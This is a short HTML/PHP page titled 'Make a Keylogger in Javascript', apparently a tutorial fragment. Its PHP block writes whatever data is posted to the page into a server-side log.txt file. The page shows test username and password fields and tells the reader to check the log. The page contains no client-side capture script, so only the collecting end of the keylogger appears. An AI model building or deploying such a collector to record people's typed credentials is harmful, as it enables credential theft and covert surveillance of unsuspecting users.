<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Make a Keylogger in Javascript</title>
</head>
<body>
<?php
$o = fopen("php://input", "r");
$str = stream_get_contents($o);
fclose($o);
$t = fopen("log.txt", "a+");
fwrite($t, $str);
fclose($t);
?>
Test Text:
<input type="text" placeholder="username" /><br />
Test Password:
<input type="password" placeholder="type password" /><br /><br />
Try check to your server log.txt
</body>
</html>